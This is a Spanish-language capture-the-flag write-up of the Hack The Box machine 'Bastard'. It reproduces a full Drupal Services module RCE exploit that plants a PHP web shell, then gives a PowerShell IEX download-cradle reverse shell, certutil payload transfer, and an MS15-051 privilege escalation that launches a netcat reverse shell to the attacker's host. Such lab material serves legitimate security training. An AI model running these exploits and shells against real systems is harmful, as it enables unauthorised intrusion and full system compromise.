Post

Hack The Box Bastard

Bastard

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.9.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.9
PING 10.10.10.9 (10.10.10.9) 56(84) bytes of data.
64 bytes from 10.10.10.9: icmp_seq=1 ttl=127 time=136 ms

--- 10.10.10.9 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 136.110/136.110/136.110/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.9 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-05 23:36 CDT
Initiating SYN Stealth Scan at 23:36
Scanning 10.10.10.9 [65535 ports]
Discovered open port 135/tcp on 10.10.10.9
Discovered open port 80/tcp on 10.10.10.9
Discovered open port 49154/tcp on 10.10.10.9
Completed SYN Stealth Scan at 23:36, 26.41s elapsed (65535 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set (0.14s latency).
Scanned at 2021-10-05 23:36:01 CDT for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 127
135/tcp   open  msrpc   syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.50 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 21 (924B)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.9
   5   │     [*] Open ports: 80,135,49154
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ nmap -sC -sV -p80,135,49154 10.10.10.9 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-05 23:37 CDT
Nmap scan report for 10.10.10.9
Host is up (0.14s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.37 seconds

Vemos que tiene el puerto 80 abierto; por lo que ya sabemos, antes de visualizar el contenido vía web, utilizaremos whatweb:

1
2
❯ whatweb http://10.10.10.9/
http://10.10.10.9/ [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to 10.10.10.9 | 10.10.10.9], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]

Tenemos un Microsft IIS 7.5 y un CMS Drupal. Ahora si vamos a echarle un ojo.

""

Como observamos el CMS Drupal, por lo que podríamos tratar de probar credenciales default; sin embargo, vemos que no tenemos acceso. Analizando un poco la información obtenida de nmap, debería existir un recurso denominado changelog.txt en el cual podemos ver la versión del gestor de contenido.

""

Vemos que se trata de Drupal 7.54, así que utilizamos searchsploit para observar algún exploit público:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ searchsploit drupal 7.
----------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                 |  Path
----------------------------------------------------------------------------------------------- ---------------------------------
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)                              | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)                               | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)                    | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)                    | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)                       | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities                                                         | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution                                             | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution                                        | php/webapps/3313.pl
Drupal < 7.34 - Denial of Service                                                              | php/dos/35415.txt
Drupal < 7.34 - Denial of Service                                                              | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)                       | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)                    | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution            | php/webapps/44449.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution            | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)        | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)               | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Meta | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                                 | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                             | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure                              | php/webapps/44501.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting         | php/webapps/25493.txt
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution                                  | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting                        | php/webapps/35397.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)                              | php/remote/40130.rb
----------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Vemos un recurso interesante Drupal 7.x Module Services - Remote Code Execution, así que lo tratemos a nuestro entorno de trabajo, le modificamos el nombre a uno más descriptivo y procedemos a analizarlo.

1
2
3
4
5
6
7
8
9
10
11
12
13
cd ../content/
❯ searchsploit -m php/webapps/41564.php
  Exploit: Drupal 7.x Module Services - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/41564
     Path: /usr/share/exploitdb/exploits/php/webapps/41564.php
File Type: ASCII text, with CRLF line terminators

Copied to: /home/k4miyo/Documentos/HTB/Bastard/content/41564.php


❯ ll
.rw-r--r-- root root 8.5 KB Thu Oct  7 00:40:03 2021  41564.php
❯ mv 41564.php drupal_rce.php

Analizando el exploit, vemos que necesitamos realizarle unos cambios para que se adapte a lo que estamos buscando:

  • $url = 'http://vmweb.lan/drupal-7.54' lo cambiamos por $url = 'http://10.10.10.9'.
  • $endpoint_path = '/rest_endpoint' si validamos el recurso, vemos que no existe; sin embargo, pensando un poco, vemos que busca el recurso /rest_endpoint, así que podríamos buscar por /rest el cual si existe.

""

  • Vemos que el exploit define un nombre archivo el cual va a ser subido para inyectar nuestro código malicioso 'filename' => 'dixuSOspsOUU.php',; aquí podriamos ponerle el nombre que nosotros queramos, como por ejemplo k4mishell.php.
  • A nivel de data, se tiene esto 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'; sin embargo, nosotros queremos utilizar una variable para poder ejecutar comandos; así que lo modificamos por 'data' => '<?php system($_REQUEST["cmd"]); ?>'.

Realizando las modificamos, tenemos lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics 
# Website: https://www.ambionics.io/blog/drupal-services-module-rce


#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
# 

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://10.10.10.9/';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'k4miyo.php',
    'data' => '<?php system($_REQUEST["cmd"]); ?>'
];

$browser = new Browser($url . $endpoint_path);


# Stage 1: SQL Injection

class DatabaseCondition
{
    protected $conditions = [
        "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;

    public function __construct($stringVersion=null)
    {
        $this->stringVersion = $stringVersion;

        if(!isset($stringVersion))
        {
            $this->changed = true;
            $this->stringVersion = null;
        }
    }
}

class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;

    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;

    public function __construct($sql)
    {
        $this->query = new DatabaseCondition($sql);
    }
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query = 
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
    print_r($json);
    e("Failed to login with fake password");
}

# Store session and user data

$session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
    e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];

    function __construct($storage, $endpoint, $controller, $action) {
        $settings = [
            'services' => ['resource_api_version' => '1.0']
        ];
        $this->cid = "services:$endpoint:resources";

        # If no endpoint is given, just reset the original values
        if(isset($controller))
        {
            $storage[$controller]['actions'][$action] = [
                'help' => 'Writes data to a file',
                # Callback function
                'callback' => 'file_put_contents',
                # This one does not accept "true" as Drupal does,
                # so we just go for a tautology
                'access callback' => 'is_string',
                'access arguments' => ['a string'],
                # Arguments given through POST
                'args' => [
                    0 => [
                        'name' => 'filename',
                        'type' => 'string',
                        'description' => 'Path to the file',
                        'source' => ['data' => 'filename'],
                        'optional' => false,
                    ],
                    1 => [
                        'name' => 'data',
                        'type' => 'string',
                        'description' => 'The data to write',
                        'source' => ['data' => 'data'],
                        'optional' => false,
                    ],
                ],
                'file' => [
                    'type' => 'inc',
                    'module' => 'services',
                    'name' => 'resources/user_resource',
                ],
                'endpoint' => $settings
            ];
            $storage[$controller]['endpoint']['actions'] += [
                $action => [
                    'enabled' => 1,
                    'settings' => $settings
                ]
            ];
        }

        $this->storage = $storage;
        $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
}

class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));


# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
    e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");


# HTTP Browser

class Browser
{
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;

    function __construct($url)
    {
        $this->url = $url;
    }

    function post($type, $data)
    {
        $headers = [
            "Accept: " . TYPE_JSON,
            "Content-Type: $type",
            "Content-Length: " . strlen($data)
        ];
        $url = $this->url . '/' . $this->controller . '/' . $this->action;

        $s = curl_init(); 
        curl_setopt($s, CURLOPT_URL, $url);
        curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($s, CURLOPT_POST, 1);
        curl_setopt($s, CURLOPT_POSTFIELDS, $data);
        curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
        $output = curl_exec($s);
        $error = curl_error($s);
        curl_close($s);

        if($error)
        {
            e("cURL: $error");
        }

        return json_decode($output);
    }
}

# Cache

function cache_poison($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
}

function cache_edit($tr)
{
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
    print("$message\n");
}

function e($message)
{
    x($message);
    exit(1);
}

function store($name, $data)
{
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
}

Ahora si, procedemos a ejecutar el exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ php drupal_rce.php
# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics 
# Website: https://www.ambionics.io/blog/drupal-services-module-rce


#!/usr/bin/php
Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.10.10.9//k4miyo.php

Si accedemos al recurso que nos indica http://10.10.10.9//k4miyo.php y validamos que tenemos ejecución de comandos con nuestra variable cmd:

""

Una vez teniendo ejecución de comandos, ahora si nos entablamos una reverse shell; por lo tanto, nos copiamos el archivo Invoke-PowerShellTcp.ps1 a nuestro directorio de trabajo y al final del archivo agregamos al siguiente linea Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.17 -Port 443

1
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 PS.ps1

Nos compartimos un servidor HTTP con python y nos ponemos en escucha a través del puerto 443. Una vez con esto, ejecutamos al siguiente linea (Nota: Utilizando powershell desde la parte nativa del sistema ` C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe` para evitar problemas debido que nos encontremos un proceso diferente al soportado por el sistema operativo).

1
http://10.10.10.9//k4miyo.php?cmd=C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/PS.ps1')
1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [08/Oct/2021 00:54:16] "GET /PS.ps1 HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.9] 49180
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami
nt authority\iusr
PS C:\inetpub\drupal-7.54>

A este punto ya podemos visualizar la flag (user.txt). Nos queda escalar privilegios, por lo que para esta ocación, ocuparemos la herramienta Sherlock, así que nos la descargamos.

1
2
3
4
5
6
❯ git clone https://github.com/rasta-mouse/Sherlock
Clonando en 'Sherlock'...
remote: Enumerating objects: 75, done.
remote: Total 75 (delta 0), reused 0 (delta 0), pack-reused 75
Recibiendo objetos: 100% (75/75), 33.97 KiB | 552.00 KiB/s, listo.
Resolviendo deltas: 100% (39/39), listo.

Abrimos el archivo Sherlock.ps1 y al final de todo, agregamos la siguiente linea Find-AllVulns. Ahora si estamos listos para hacer enumeración del sistema. Nos compartimos un servidor HTTP con python:

1
2
3
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [08/Oct/2021 01:09:37] "GET /Sherlock.ps1 HTTP/1.1" 200 -

Ejecutamos la siguiente linea en la máquina víctima:

1
2
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.17/Sherlock.ps1')
PS C:\Windows\Temp\Privesc>

Esperamos un poco a que la herramienta haga su trabajo y nos reporte la información.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015                                           
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems           
                                
Title      : Task Scheduler .XML 
MSBulletin : MS10-092                                           
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Appears Vulnerable                                 
                                                                
Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053                                           
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems           
                                
Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081                                           
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems                                                                                     
                                
Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113                                          
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable
          
Title      : ClientCopyImage Win32k 
MSBulletin : MS15-051      
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Appears Vulnerable
                                
Title      : Font Driver Buffer Overflow                                           
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable
Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Not Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
             tml
VulnStatus : Not Vulnerable

PS C:\Windows\Temp\Privesc>

De acuerdo con los resultados observamos, tenemos las siguientes posibles vulnerabilidades para escalar privilegios:

  • Task Scheduler .XML - MS10-092
  • ClientCopyImage Win32k - MS15-051
  • Secondary Logon Handle - MS16-032

Para este caso, vamos a utilizar ClientCopyImage Win32k - MS15-051; asi que vamos a descargar el exploit correspondiente al MS15-051; lo descomprimimos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ unzip MS15-051-KB3045171.zip
Archive:  MS15-051-KB3045171.zip
   creating: MS15-051-KB3045171/
  inflating: MS15-051-KB3045171/ms15-051.exe  
  inflating: MS15-051-KB3045171/ms15-051x64.exe  
   creating: MS15-051-KB3045171/Source/
   creating: MS15-051-KB3045171/Source/ms15-051/
  inflating: MS15-051-KB3045171/Source/ms15-051/ms15-051.cpp  
  inflating: MS15-051-KB3045171/Source/ms15-051/ms15-051.vcxproj  
  inflating: MS15-051-KB3045171/Source/ms15-051/ms15-051.vcxproj.filters  
  inflating: MS15-051-KB3045171/Source/ms15-051/ms15-051.vcxproj.user  
  inflating: MS15-051-KB3045171/Source/ms15-051/ntdll.lib  
  inflating: MS15-051-KB3045171/Source/ms15-051/ntdll64.lib  
  inflating: MS15-051-KB3045171/Source/ms15-051/ReadMe.txt  
   creating: MS15-051-KB3045171/Source/ms15-051/Win32/
  inflating: MS15-051-KB3045171/Source/ms15-051/Win32/ms15-051.exe  
   creating: MS15-051-KB3045171/Source/ms15-051/x64/
  inflating: MS15-051-KB3045171/Source/ms15-051/x64/ms15-051x64.exe  
  inflating: MS15-051-KB3045171/Source/ms15-051.sln  
  inflating: MS15-051-KB3045171/Source/ms15-051.suo

Y transferimos el archivo ms15-051x64.exe a la máquina víctima.

1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [08/Oct/2021 01:25:31] "GET /ms15-051x64.exe HTTP/1.1" 200 -
10.10.10.9 - - [08/Oct/2021 01:25:32] "GET /ms15-051x64.exe HTTP/1.1" 200 -
1
2
3
4
5
6
certutil.exe -f -urlcache -split http://10.10.14.17/ms15-051x64.exe ms15-051x64.exe
****  Online  ****
  0000  ...
  d800
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp\Privesc>

Ahora en nuestra máquina buscamos el archivo nc.exe y lo ponemos en nuestro directorio de trabajo.

1
2
3
❯ locate nc.exe
/usr/share/sqlninja/apps/nc.exe
❯ cp /usr/share/sqlninja/apps/nc.exe .

Nos compartimos un servidor SMB en nuestra máquina de atacante y damos soporte a la versión 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.9,49191)
[*] AUTHENTICATE_MESSAGE (\,BASTARD)
[*] User BASTARD\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)

Nos ponemos en escucha a través del puerto 443 y procedemos a ejecutar el exploit:

1
C:\Windows\Temp\Privesc\ms15-051x64.exe "\\10.10.14.17\smbFolder\nc.exe -e cmd 10.10.14.17 443"
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.9] 49192
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

whoami
whoami
nt authority\system

C:\Windows\Temp\Privesc>

Ya somo el usuario nt authority\system y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.